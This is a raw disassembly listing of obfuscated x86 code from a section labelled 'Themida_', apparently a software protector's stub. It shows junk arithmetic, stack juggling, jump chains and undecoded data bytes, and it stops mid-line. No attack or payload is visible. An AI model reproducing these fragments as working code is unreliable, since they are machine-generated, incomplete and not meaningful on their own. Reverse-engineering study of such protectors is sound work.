dec eax jmp loc_550408 ; --------------------------------------------------------------------------- dd 0D0F6C586h db 55h ; --------------------------------------------------------------------------- loc_549201: ; CODE XREF: Themida_:00553CEEj sub ebx, ebp jmp loc_549EAA ; --------------------------------------------------------------------------- aVhQ db 'Vhгq',0 align 2 aS_5 db 'Ии=',0 db 0 ; --------------------------------------------------------------------------- loc_549213: ; CODE XREF: Themida_:005518AAj mov ebp, esp push esi mov esi, 15B2749Ah sub esi, 15B27496h jmp loc_54EF04 ; --------------------------------------------------------------------------- loc_549226: ; CODE XREF: Themida_:00554DC1j push ebp pop eax mov ebp, [esp] push ecx jmp loc_550909 ; --------------------------------------------------------------------------- db 0F6h, 0DBh, 0E9h dd 3129h ; --------------------------------------------------------------------------- loc_549238: ; CODE XREF: Themida_:00555D06j push edi jmp loc_550CE1 ; --------------------------------------------------------------------------- loc_54923E: ; CODE XREF: Themida_:loc_54C333j jmp loc_552FBF ; --------------------------------------------------------------------------- loc_549243: ; CODE XREF: Themida_:0054FCB0j mov edx, 78177F69h jmp loc_555B09 ; --------------------------------------------------------------------------- loc_54924D: ; CODE XREF: Themida_:0054F173j add bl, 0B0h push edx mov dh, 0B8h add bl, dh jmp loc_54D3A6 ; --------------------------------------------------------------------------- loc_54925A: ; CODE XREF: Themida_:0054C9BAj jnz loc_55381A jmp loc_549F62 ; --------------------------------------------------------------------------- db 5Eh, 0B4h, 0A7h db 0B4h, 0ECh ; --------------------------------------------------------------------------- loc_54926A: ; CODE XREF: Themida_:0054DFB7j add ebp, eax mov eax, [esp] add esp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push edi jmp loc_552D96 ; --------------------------------------------------------------------------- dw 0E6C1h dd 1C68303h, 8146DEF7h, 976E84EEh, 5EF729F6h, 8B243C87h dd 14892424h, 48B1BA24h, 0D0294C56h, 0E952565Ah, 0FFFFF679h ; --------------------------------------------------------------------------- loc_5492C0: ; CODE XREF: Themida_:0055328Bj xchg ebx, [esp] pop esp sub eax, 25457F79h push edi push esp pop edi add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_54A14D ; --------------------------------------------------------------------------- loc_5492E7: ; CODE XREF: Themida_:0054A70Ej xor ebp, 68CE19E9h jmp loc_54C19C ; --------------------------------------------------------------------------- dw 489h dd 4BD5524h, 55000000h, 0B0E95D58h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_549303: ; CODE XREF: Themida_:00555441j jmp loc_5502A6 ; --------------------------------------------------------------------------- loc_549308: ; CODE XREF: Themida_:0054B60Bj mov ebp, [esp] push ecx mov ecx, esp jmp loc_54E19C ; --------------------------------------------------------------------------- loc_549313: ; CODE XREF: Themida_:0054B53Ej mov [esp], esp push edi push 4 pop edi add [esp+4], edi pop edi mov ebx, [esp] jmp loc_5544E5 ; --------------------------------------------------------------------------- loc_54932A: ; CODE XREF: Themida_:00554248j add ecx, 0F63BD7A7h add ebx, ecx pop ecx and ebx, 322639B4h add ebx, 0DFDDC6D4h add ecx, ebx jmp loc_549C89 ; --------------------------------------------------------------------------- dw 51B9h dd 81256C77h, 0C4D4CBC1h, 59C80912h, 5206E8C1h, 0E2ED77BAh dd 9088E900h, 555F0000h, 4F7DA6BDh, 5DE8017Eh, 79225E2Dh dd 2DD8F761h, 1507570Dh, 6F3BE9h, 243C3300h, 6624248Bh dd 5624048Bh, 24348B54h, 8304C483h, 5BE904ECh db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_549397: ; CODE XREF: Themida_:0054FBD5j shr bl, 6 jmp loc_555E07 ; --------------------------------------------------------------------------- loc_54939F: ; CODE XREF: Themida_:0054C1B1j push ecx mov ecx, 63A14168h push esi mov esi, 6CD40CCh neg esi sub esi, 3D7D11AEh shl esi, 2 sub esi, 0FFFFFFFFh sub esi, 9E285513h jmp loc_5518AF ; --------------------------------------------------------------------------- loc_5493C4: ; CODE XREF: Themida_:0054E91Fj push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_548929 ; --------------------------------------------------------------------------- loc_5493D5: ; CODE XREF: Themida_:0054E7F2j mov [esp], eax push 21176F68h pop eax shr eax, 1 xchg eax, edx not edx xchg eax, edx push eax not dword ptr [esp] pop eax inc eax push edx jmp loc_552517 ; --------------------------------------------------------------------------- dd 0C781CF01h, 6F1472F2h, 0B8C0E9h, 0C8B6600h, 61A96824h dd 3C890000h, 81E78924h, 4C7h, 472F6800h, 0BE90000h, 660000BDh dd 5524048Bh, 6A9768h, 24248900h, 4240483h, 6277685Dh dd 0C890000h, 4B924h, 21E90000h, 5A000020h, 897FE9h db 0 ; --------------------------------------------------------------------------- loc_549445: ; CODE XREF: Themida_:0054ACFDj ; Themida_:00552893j jmp loc_548929 ; --------------------------------------------------------------------------- dw 0E951h dd 14Ch ; --------------------------------------------------------------------------- loc_549450: ; CODE XREF: Themida_:0054D7ECj mov esp, [esp] jmp loc_54DBD3 ; --------------------------------------------------------------------------- loc_549458: ; CODE XREF: Themida_:0055359Fj xchg ecx, [esp] pop esp or ah, 25h dec ah add ah, 32h jmp loc_54F93A ; --------------------------------------------------------------------------- a1XsA db '1гXИ*═',0 db 0 ; --------------------------------------------------------------------------- loc_549471: ; CODE XREF: Themida_:00551F9Bj add esi, 4 xchg esi, [esp] pop esp add ebp, 2 xor ebp, [esp] xor [esp], ebp jmp loc_55097C ; --------------------------------------------------------------------------- loc_549489: ; CODE XREF: Themida_:0054F53Cj add dword ptr [esp], 4EB43BE4h pop dword ptr [edi+20h] jmp loc_54A3F7 ; --------------------------------------------------------------------------- dd 2262E781h, 0EF83139Eh, 68B850FFh, 560E4E1Eh, 811A12BEh dd 2BD9E92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5494B2: ; CODE XREF: Themida_:00549BE4j and ecx, 3D4D7F05h add ecx, 0D6F7D404h mov ebx, ecx pop ecx push ebx mov ebx, 232323h add edx, ebx pop ebx add edx, ebx sub edx, 232323h pop ebx xchg edx, [esp] mov esp, [esp] push 3566h mov [esp], eax jmp loc_552B60 ; --------------------------------------------------------------------------- loc_5494E6: ; CODE XREF: Themida_:0054FAE5j shr eax, 4 shl eax, 4 not eax shr eax, 7 xor eax, 1CD15A3h add edi, eax pop eax jmp loc_554E57 ; --------------------------------------------------------------------------- loc_5494FE: ; CODE XREF: Themida_:005547B6j neg eax jl loc_54F7F7 shr eax, 6 jmp loc_54C225 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h ; --------------------------------------------------------------------------- loc_549514: ; CODE XREF: Themida_:0054EEAEj push bx jmp loc_553581 ; --------------------------------------------------------------------------- loc_54951B: ; CODE XREF: Themida_:0054D0F1j shr dh, 6 push ecx push eax jmp loc_55386E ; --------------------------------------------------------------------------- db 81h, 0EBh, 0Fh dd 0E979BF34h, 0FFFFFA21h ; --------------------------------------------------------------------------- loc_549530: ; CODE XREF: Themida_:00550178j shl ecx, 7 push eax jmp loc_54EF56 ; --------------------------------------------------------------------------- loc_549539: ; CODE XREF: Themida_:0054EDE9j sub esi, 1174058Dh jmp loc_551988 ; --------------------------------------------------------------------------- loc_549544: ; CODE XREF: Themida_:loc_553E34j add edx, 0CBDED77Fh sub esp, 4 mov [esp], edx sub dword ptr [esp], 52735CE6h pop eax add eax, 52735CE6h pop edx jmp loc_54D3C0 ; --------------------------------------------------------------------------- loc_549566: ; CODE XREF: Themida_:00549FF5j add esp, 4 or eax, eax jz loc_5527D3 push 7662h jmp loc_54AEC9 ; --------------------------------------------------------------------------- dw 1EBFh dd 514E543Fh, 1D4999B9h, 59CF310Bh, 457CC781h, 0DFF70961h dd 0E955D7F7h, 98CFh, 7110E9B9h, 0C614E92Eh, 0BE560000h dd 2EB6E29h, 0CE81DEF7h, 6CEA6894h, 0A88E9h db 0 ; --------------------------------------------------------------------------- loc_5495B9: ; CODE XREF: Themida_:00552CACj pop esp mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push edx mov edx, 0C117C38h mov esi, edx pop edx and esi, 30615676h jb loc_551773 shr esi, 2 js loc_55244A jmp loc_549B80 ; --------------------------------------------------------------------------- loc_5495F2: ; CODE XREF: Themida_:0054F4DBj jmp loc_550556 ; --------------------------------------------------------------------------- db 66h dd 50240C8Bh, 0BB53E089h, 4, 685BD801h, 11F0h, 0C59CE9h db 0 ; --------------------------------------------------------------------------- loc_549611: ; CODE XREF: Themida_:0055575Dj sub esp, 4 mov [esp], esi mov esi, eax mov ebp, esi mov esi, [esp] add esp, 4 push ebx push eax mov eax, ebp mov ebx, eax jmp loc_54A763 ; --------------------------------------------------------------------------- loc_549632: ; CODE XREF: Themida_:00551D89j ; Themida_:0055427Dj xor dword ptr [esp], 70274AFFh pop eax jmp loc_54F3F8 ; --------------------------------------------------------------------------- db 89h dd 5A542414h, 9C9BE9h, 1C77FF00h, 6659669Dh, 9C2414D3h dd 0FFF2D0E9h, 71B4BFFFh, 3EE92422h, 0F000086h, 22808Eh dd 65C3E900h, 0E8290000h, 0FD8AFE8Ah ; --------------------------------------------------------------------------- loc_549674: ; CODE XREF: Themida_:00551B92j add ebx, 4 xchg ebx, [esp] pop esp add eax, 1B217A63h push 7EB1h mov [esp], ebp push 61DE3185h mov ebp, [esp] add esp, 4 push ebx mov ebx, 93479FAh dec ebx add ebx, 7EC85C43h not ebx jmp loc_54DAD2 ; --------------------------------------------------------------------------- loc_5496AA: ; CODE XREF: Themida_:00553F68j mov edi, 20C7E4Dh jmp loc_549A80 ; --------------------------------------------------------------------------- loc_5496B4: ; CODE XREF: Themida_:00550419j not dword ptr [esp] jmp loc_54F14B ; --------------------------------------------------------------------------- dd 5C243487h, 4C681h, 0C6810000h, 2, 31243433h, 34332434h dd 0E1F65C24h, 0CCB60F66h, 14FE6866h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 0FFFFF239h, 3C34B850h, 539359B3h, 5B2414F7h dd 8038E993h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549702: ; CODE XREF: Themida_:00548A73j mov esi, [esp] add esp, 4 mov edx, 51423D9Ah jmp loc_54E4A7 ; --------------------------------------------------------------------------- loc_549715: ; CODE XREF: Themida_:00551081j mov edx, 0C222719h inc edx xor edx, 14875C93h jmp loc_54C2F8 ; --------------------------------------------------------------------------- dw 0D609h dd 0C3F6815Ah, 297DDF22h, 0E1815EF1h, 9FF28A2h, 8102E1C1h dd 177D7CE9h, 89F1817Bh, 812F0843h, 34E689F1h, 59CB0184h dd 6DC368h, 243C8900h, 2BFh, 8BFB0100h, 0C481243Ch, 4 dd 8B241C87h, 4202424h, 0B2E99C24h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549777: ; CODE XREF: Themida_:00550F5Ej not bh sub bh, 0ECh dec bh push edx mov dl, 90h xor bh, dl pop edx xor dl, bh pop ebx xor al, dl jmp loc_549F88 ; --------------------------------------------------------------------------- loc_54978E: ; CODE XREF: Themida_:0054F1CCj pop eax push eax mov eax, esp jmp loc_554EB4 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 2D24248Bh, 11FB594Ah, 9248E9h db 0 ; --------------------------------------------------------------------------- loc_5497AD: ; CODE XREF: Themida_:0054DA5Dj xchg eax, [esp] pop esp mov [esp], ebp jmp loc_55480D ; --------------------------------------------------------------------------- db 64h, 0FFh, 32h dd 0FFF168E9h db 0FFh ; --------------------------------------------------------------------------- loc_5497C1: ; CODE XREF: Themida_:00553D7Cj shl edi, 6 or edi, 4EB47A9Fh jb loc_55324F push eax mov eax, 66053B80h inc eax push edx mov edx, 174474E2h shl edx, 7 shl edx, 3 xor edx, 259158B3h xor edx, 0EE9B8F2Bh jmp loc_54D53D ; --------------------------------------------------------------------------- loc_5497F4: ; CODE XREF: Themida_:005549EEj shl ebx, 1 add ebx, 69818673h jmp loc_54DACA ; --------------------------------------------------------------------------- loc_549801: ; CODE XREF: Themida_:00549BDCj xchg esi, [esp] pop esp mov [esp], ebp mov ebp, esp push ebx push ebp mov ebp, 5FDC2394h mov ebx, ebp pop ebp jmp loc_54E21A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324048Bh, 0E95204C4h, 0BE60h, 4C781h, 0EF810000h, 2 dd 5C243C87h, 241C8966h, 0EEE99FB3h, 0FFFFFFF9h, 34FF1C77h dd 24048B24h, 4DFCE9h db 0 ; --------------------------------------------------------------------------- loc_549851: ; CODE XREF: Themida_:005544FDj mov esp, [esp] push 61E7h mov [esp], edx push 56BBh mov [esp], ecx push edx jmp loc_553EDD ; --------------------------------------------------------------------------- loc_54986A: ; CODE XREF: Themida_:00550BC8j add esp, 4 pop ebx jmp loc_54A472 ; --------------------------------------------------------------------------- loc_549876: ; CODE XREF: Themida_:00551845j mov ebx, [esp] add esp, 4 jmp loc_548929 ; --------------------------------------------------------------------------- loc_549881: ; CODE XREF: Themida_:005490ACj sub edx, 2AAF604Fh pop esi or esi, edx mov edx, [esp] add esp, 4 xor esi, 1BD10851h jmp loc_549B6B ; --------------------------------------------------------------------------- loc_54989E: ; CODE XREF: Themida_:0054CDFBj jmp loc_548929 ; --------------------------------------------------------------------------- loc_5498A3: ; CODE XREF: Themida_:00549FD0j shl ebp, 8 jmp loc_550840 ; --------------------------------------------------------------------------- db 83h dd 0EDE904ECh, 1000003h, 24048BC6h, 8104C483h, 4ECh, 2B2BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5498C6: ; CODE XREF: Themida_:00554200j mov esi, [esp] push edx jmp loc_554AF5 ; --------------------------------------------------------------------------- db 29h dd 81082474h, 78082444h, 5E7F3673h, 4246C81h, 5E03189Ch dd 0F03FE958h, 8952FFFFh, 4C281E2h, 0E9000000h, 0FFFFF7EEh ; --------------------------------------------------------------------------- loc_5498F8: ; CODE XREF: Themida_:0054EAC2j shr esi, 1 neg esi inc esi sub esp, 4 mov [esp], eax mov eax, 29D80AE3h inc eax shr eax, 4 jmp loc_551389 ; --------------------------------------------------------------------------- loc_549914: ; CODE XREF: Themida_:00549115j shl edx, 1 push edx jmp loc_553F62 ; --------------------------------------------------------------------------- loc_54991C: ; CODE XREF: Themida_:0054A54Ej push edx mov dl, 7Fh add dl, 0E5h mov bh, dl pop edx add bh, 6Bh jmp loc_54A401 ; --------------------------------------------------------------------------- loc_54992D: ; CODE XREF: Themida_:0054DBDBj push dword ptr [esp] mov esi, [esp] jmp loc_54C1B6 ; --------------------------------------------------------------------------- aSSq db 'аА',7,'И÷б',0 align 10h loc_549940: ; CODE XREF: Themida_:00549183j jmp loc_555C32 ; --------------------------------------------------------------------------- db 0E9h, 70h, 33h dd 0E7890000h, 4B951h, 0CF010000h, 18146859h, 34890000h dd 2BE24h, 57560000h, 63A7E9h db 0 ; --------------------------------------------------------------------------- loc_549969: ; CODE XREF: Themida_:00549DC9j pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_54E399 ; --------------------------------------------------------------------------- dd 6A0868h, 240C8900h, 0ED3A08B9h, 0E5BE5644h, 572FED27h dd 29BBE9h db 0 ; --------------------------------------------------------------------------- loc_549999: ; CODE XREF: Themida_:0054E810j pop esp mov [esp], ebx push 23947A26h mov ebx, [esp] add esp, 4 not ebx sub ebx, 0DC6B85D7h mov eax, ebx pop ebx add esi, 46913D84h add esi, eax sub esi, 46913D84h pop eax jmp loc_551FF2 ; --------------------------------------------------------------------------- loc_5499C7: ; CODE XREF: Themida_:0054DD48j sub esp, 4 jmp loc_54C3A0 ; --------------------------------------------------------------------------- dw 0E958h dd 6AFCh ; --------------------------------------------------------------------------- loc_5499D8: ; CODE XREF: Themida_:0055130Cj sub ecx, ebp push esi mov esi, 286A1413h add ecx, esi jmp loc_54D965 ; --------------------------------------------------------------------------- loc_5499E7: ; CODE XREF: Themida_:0054DD05j pop esp jmp loc_554FA5 ; --------------------------------------------------------------------------- aYh db 'Yh',27h,7,0 dw 8900h dd 4E9243Ch db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5499FB: ; CODE XREF: Themida_:0054DAA0j add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push eax mov eax, 39C45073h jmp loc_5547B1 ; --------------------------------------------------------------------------- db 31h, 0DFh, 5Bh dd 1EF81h, 1BE90000h, 68000047h, 41Dh, 50240C89h, 0D4F6C6B4h dd 8B0FCCFEh, 0B63Dh, 8822F480h, 2C5258E1h db 0BDh, 0B5h, 5Bh ; --------------------------------------------------------------------------- loc_549A43: ; CODE XREF: Themida_:0054A64Dj ; Themida_:0054E70Ej xchg eax, esi not eax xchg eax, esi jmp loc_54BA4F ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 4BD5500h, 1000000h, 3C875DEFh, 0EE055C24h dd 137113Bh, 3BEE2DD8h, 0B92D3711h, 680B0F34h, 3266h, 0E9243C89h dd 0B270h ; --------------------------------------------------------------------------- loc_549A80: ; CODE XREF: Themida_:005496AFj sub edx, edi pop edi add edx, edi add edx, 20C7E4Dh xor [edx], ecx push dword ptr [esp] pop edx add esp, 4 xor ecx, [edi+24h] push eax mov eax, 24h jmp loc_552CB1 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9240489h dd 50B4h ; --------------------------------------------------------------------------- loc_549AC4: ; CODE XREF: Themida_:0054D974j pop ecx add esp, 4 push 4482h mov [esp], ecx jmp loc_54B4EF ; --------------------------------------------------------------------------- loc_549AD5: ; CODE XREF: Themida_:00553DFDj pop esi jmp loc_54CE26 ; --------------------------------------------------------------------------- loc_549ADB: ; CODE XREF: Themida_:loc_55160Ej mov edx, [esp] add esp, 4 push ebp mov ebp, 4C4E3AD7h shl ebp, 5 shr ebp, 3 push 2343h mov [esp], esi jmp loc_548999 ; --------------------------------------------------------------------------- dw 0D301h dd 2C3815Ah, 87000000h, 0D25C241Ch, 0E99C2404h, 0FFFFEE19h ; --------------------------------------------------------------------------- loc_549B10: ; CODE XREF: Themida_:0054AADEj push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] pop esi jmp loc_550AB7 ; --------------------------------------------------------------------------- loc_549B2A: ; CODE XREF: Themida_:00554AA3j mov ebx, esp jmp loc_54E9DE ; --------------------------------------------------------------------------- loc_549B31: ; CODE XREF: Themida_:0054CB8Ej mov [esp], ebx mov ebx, 61357F43h xor ebx, 299E137Eh jmp loc_54AB5B ; --------------------------------------------------------------------------- loc_549B44: ; CODE XREF: Themida_:00550403j push esi jmp loc_550E83 ; --------------------------------------------------------------------------- loc_549B4A: ; CODE XREF: Themida_:00550A35j not ah xor ah, 16h xor bh, ah pop eax mov cl, bh pop ebx or dl, cl mov cx, [esp] push edi mov edi, esp jmp loc_54B9EF ; --------------------------------------------------------------------------- aLSH db '▀$$И|H',0 db 0 ; --------------------------------------------------------------------------- loc_549B6B: ; CODE XREF: Themida_:00549899j xor eax, esi mov esi, [esp] add esp, 4 xor ebx, eax push small word ptr [eax] jmp loc_548929 ; --------------------------------------------------------------------------- loc_549B80: ; CODE XREF: Themida_:005495EDj shl esi, 2 jmp loc_54E60D ; --------------------------------------------------------------------------- dd 4C20B850h, 66BA7FD9h, 1CB49D5h, 0C28158C2h, 0B4DCDE7Ch dd 335AD001h, 4312404h, 8D2AE924h, 0EB810000h, 288B8E6h dd 47D9E9h, 59E82800h, 432F68h, 240C8900h, 9C0E9h, 4EC8100h dd 89000000h, 0E953240Ch, 95F3h ; --------------------------------------------------------------------------- loc_549BD4: ; CODE XREF: Themida_:loc_54A025j not esi xor esi, 0C96CFA49h jmp loc_549801 ; --------------------------------------------------------------------------- loc_549BE1: ; CODE XREF: Themida_:loc_54F7E1j shl ecx, 8 jp loc_5494B2 and ecx, 3D4D7F05h add ecx, 0D6F7D404h loc_549BF6: ; CODE XREF: Themida_:00551117j pop edx sub ebx, ebp pop ebp jmp loc_555F3A ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 0D3E9E389h, 51000035h, 0C888F988h dd 0B7535B59h, 0BBA0E93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_549C1E: ; CODE XREF: Themida_:0054C4DEj pop ebx xor al, dl mov edx, [esp] jmp loc_54B430 ; --------------------------------------------------------------------------- db 51h, 0B5h, 0Eh dd 0ED80C5FEh, 5F18E9A4h, 2C8B0000h, 4C48124h, 81000000h dd 365FB6C5h, 0CF8E0F10h, 8100004Ah, 1EDh, 14F75500h, 0F5815D24h dd 8CC29899h, 0E95DEB89h, 69CEh, 207F83ADh, 3A840F00h dd 83FFFFFEh, 2C8904ECh, 4EC8124h, 0E9000000h, 8593h ; --------------------------------------------------------------------------- loc_549C80: ; CODE XREF: Themida_:0054E761j push dword ptr [esp+4] jmp loc_54BF4B ; --------------------------------------------------------------------------- loc_549C89: ; CODE XREF: Themida_:00549341j pop ebx xchg ecx, [esp] pop esp dec ebp jnp loc_550D89 push eax mov eax, 0CFDDC4F9h jmp loc_551926 ; --------------------------------------------------------------------------- dd 52241C89h, 5CE943B6h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_549CAB: ; CODE XREF: Themida_:00552B70j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_54DCC4 ; --------------------------------------------------------------------------- loc_549CB8: ; CODE XREF: Themida_:0054C620j sub edx, 4 xchg edx, [esp] jmp loc_54A568 ; --------------------------------------------------------------------------- loc_549CC3: ; CODE XREF: Themida_:0054ECBCj pop ebx shl esi, 7 shl esi, 4 jmp loc_54F6C4 ; --------------------------------------------------------------------------- loc_549CCF: ; CODE XREF: Themida_:00550EFEj add bl, 72h jb loc_54E1A7 sub bl, 6Bh push ecx mov ch, bl mov dl, ch mov ecx, [esp] and al, 0A2h loc_549CE5: ; CODE XREF: Themida_:00552990j push 3290h mov [esp], ecx mov ecx, 7AC51177h push 21D8h mov [esp], ebp mov ebp, 69B212D6h push ebp mov ebp, 7B0161E4h mov eax, 9F7645AAh xor eax, ebp pop ebp sub eax, ebp pop ebp jmp loc_551033 ; --------------------------------------------------------------------------- loc_549D15: ; CODE XREF: Themida_:0054BD33j pop esp mov cx, [esp] jmp loc_54A515 ; --------------------------------------------------------------------------- db 0FFh dd 4813C77h, 0B6308824h db 4Eh, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx push edi jmp loc_5531AD ; --------------------------------------------------------------------------- dw 815Ch dd 4590242Ch, 13E9540Ah db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549D47: ; CODE XREF: Themida_:00548FF4j mov eax, 6FFB3E61h mov ebx, 0AA63B18Dh sub ebx, eax pop eax xor ebx, 1173F6C6h jmp loc_54C415 ; --------------------------------------------------------------------------- db 81h dd 0CDC095C7h, 40F78112h, 0E9769506h, 13E1h ; --------------------------------------------------------------------------- loc_549D70: ; CODE XREF: Themida_:005549CAj pop esp jmp loc_54EE6C ; --------------------------------------------------------------------------- aPsszj db 'PSИZ├',0 db 0 ; --------------------------------------------------------------------------- loc_549D7D: ; CODE XREF: Themida_:loc_549042j sub edx, 96BE99DDh sub esi, 4E2C37DFh jmp loc_550CBE ; --------------------------------------------------------------------------- dw 4B9h dd 81000000h, 0C75DFDC6h, 81CE0134h, 0C75DFDEEh, 8CE95934h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549DA7: ; CODE XREF: Themida_:0054A9CAj push edx push esi push 47E91AFDh pop esi shr esi, 1 jp loc_54EC53 neg esi xor esi, 0F3D70F39h mov edx, esi pop esi dec edx pop esp loc_549DC4: ; CODE XREF: Themida_:00550DCDj push ebx push dword ptr [esp+4] jmp loc_549969 ; --------------------------------------------------------------------------- loc_549DCE: ; CODE XREF: Themida_:0054917Cj mov [esp], edx push eax pushf jmp loc_54B059 ; --------------------------------------------------------------------------- loc_549DD8: ; CODE XREF: Themida_:0054F503j xor ecx, 185085B4h mov edx, ecx mov ecx, [esp] jmp loc_55413D ; --------------------------------------------------------------------------- loc_549DE8: ; CODE XREF: Themida_:00555ED5j mov edx, 4 add esi, edx pop edx add esi, 2 sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_54A30B ; --------------------------------------------------------------------------- db 81h, 0C5h, 81h dd 18B62ECh, 0A237E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E12: ; CODE XREF: Themida_:0054A5D2j sub ecx, 47C12321h push ecx sub dword ptr [esp], 0DBB5285h jmp loc_54F5FC ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 68C8BE0Fh, 1F5Fh, 0E9240C89h, 3974h ; --------------------------------------------------------------------------- loc_549E38: ; CODE XREF: Themida_:0054D7E1j push dword ptr [esp] pop edi add esp, 4 add edi, 4 add edi, 2 xchg edi, [esp] mov esp, [esp] movzx cx, al push small 4582h mov [esp], cx jmp loc_554604 ; --------------------------------------------------------------------------- db 68h dd 6965h, 7833E9h, 0B0EB8100h, 0E923B3E4h, 4DC7h, 0E981D901h dd 600259B5h, 0E951575Bh, 70DFh, 24048B66h, 70BF68h, 241C8900h dd 0BE68E389h, 0E9000006h, 4AC7h, 729CB951h, 0CB290576h dd 0DEFE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549EAA: ; CODE XREF: Themida_:00549203j add ebx, 3B342EF7h pop ebp jmp loc_5549ED ; --------------------------------------------------------------------------- dw 0EA00h dd 6659E9h db 0 ; --------------------------------------------------------------------------- loc_549EBD: ; CODE XREF: Themida_:00552009j pop ebx add ebx, esi pop esi push edi mov edi, 43C81C08h add ebx, edi pop edi jmp loc_54CC61 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFEA55h ; --------------------------------------------------------------------------- loc_549ED4: ; CODE XREF: Themida_:0054D4E5j or eax, eax jmp loc_54D208 ; --------------------------------------------------------------------------- db 68h dd 22E8h, 0B5240C89h, 0B700E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549EEA: ; CODE XREF: Themida_:00550AF8j jmp loc_548929 ; --------------------------------------------------------------------------- loc_549EEF: ; CODE XREF: Themida_:0055091Ej xor eax, [esp] jmp loc_555C63 ; --------------------------------------------------------------------------- loc_549EF7: ; CODE XREF: Themida_:00552344j shl eax, 7 jmp loc_5506D3 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 19BCh, 0E9240489h, 1458h ; --------------------------------------------------------------------------- loc_549F10: ; CODE XREF: Themida_:0055504Cj push 1E8Ah mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_548C78 ; --------------------------------------------------------------------------- loc_549F37: ; CODE XREF: Themida_:005517D8j add bl, 14h push ecx jmp loc_550643 ; --------------------------------------------------------------------------- dd 8007E4C0h, 45E917C4h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F4B: ; CODE XREF: Themida_:loc_54B84Aj jmp loc_550435 ; --------------------------------------------------------------------------- loc_549F50: ; CODE XREF: Themida_:0054B691j xchg edi, [esp] pop esp mov [esp], ecx push edi mov edi, 254613FDh jmp loc_550505 ; --------------------------------------------------------------------------- loc_549F62: ; CODE XREF: Themida_:00549260j ; Themida_:0054B0BEj ... pop edx pop eax push eax push edi pop eax pop edi not edi xchg eax, edi jmp loc_548F80 ; --------------------------------------------------------------------------- loc_549F70: ; CODE XREF: Themida_:00553804j pop ebp jmp loc_5513C7 ; --------------------------------------------------------------------------- dd offset dword_5C2E68 dw 8900h dd 72BA2414h, 0E965A208h, 67Ch ; --------------------------------------------------------------------------- loc_549F88: ; CODE XREF: Themida_:00549789j pop edx shl al, 6 inc al and al, 5Ah push ax not byte ptr [esp] jmp loc_55439F ; --------------------------------------------------------------------------- loc_549F9A: ; CODE XREF: Themida_:0054EB4Fj push 27E5h mov [esp], ebx push eax jmp loc_54CC68 ; --------------------------------------------------------------------------- loc_549FA8: ; CODE XREF: Themida_:005537EEj push edx mov edx, 177752C1h add esi, edx pop edx add esi, ebx jmp loc_550F7A ; --------------------------------------------------------------------------- loc_549FB8: ; CODE XREF: Themida_:00555091j and ebp, 2F9A5757h jle loc_551D83 and ebp, 78106289h jp loc_551208 jmp loc_5498A3 ; --------------------------------------------------------------------------- aPs_0 db 'PИи/',0 db 0 ; --------------------------------------------------------------------------- loc_549FDB: ; CODE XREF: Themida_:00555F21j shl edx, 4 jmp loc_54F49E ; --------------------------------------------------------------------------- loc_549FE3: ; CODE XREF: Themida_:00551B4Ej pop eax shl ebp, 8 jmp loc_54CA53 ; --------------------------------------------------------------------------- loc_549FEC: ; CODE XREF: Themida_:0054A2ABj pop ecx jmp loc_552BB8 ; --------------------------------------------------------------------------- loc_549FF2: ; CODE XREF: Themida_:00550C2Cj mov ebp, [esp] jmp loc_549566 ; --------------------------------------------------------------------------- dw 2AE9h dd 29FFFFE9h, 60EB68D8h, 0A7E90000h, 0FF000055h, 34FF2434h dd 2434FF24h, 0A404E9h, 28F52C00h, 52F504D8h, 0FFEC18E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A025: ; CODE XREF: Themida_:0054D010j jmp loc_549BD4 ; --------------------------------------------------------------------------- loc_54A02A: ; CODE XREF: Themida_:0054C148j add ebx, ecx pop ecx push edi mov edi, ebx push eax mov eax, edi push ebx mov ebx, eax mov ecx, ebx pop ebx pop eax pop edi pop ebx jmp loc_54BA39 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0D5h dd 89FDFEF9h, 0FB015EF7h, 83243C8Bh, 1C8704C4h, 24248B24h dd 243CD366h, 0E8C7E99Ch, 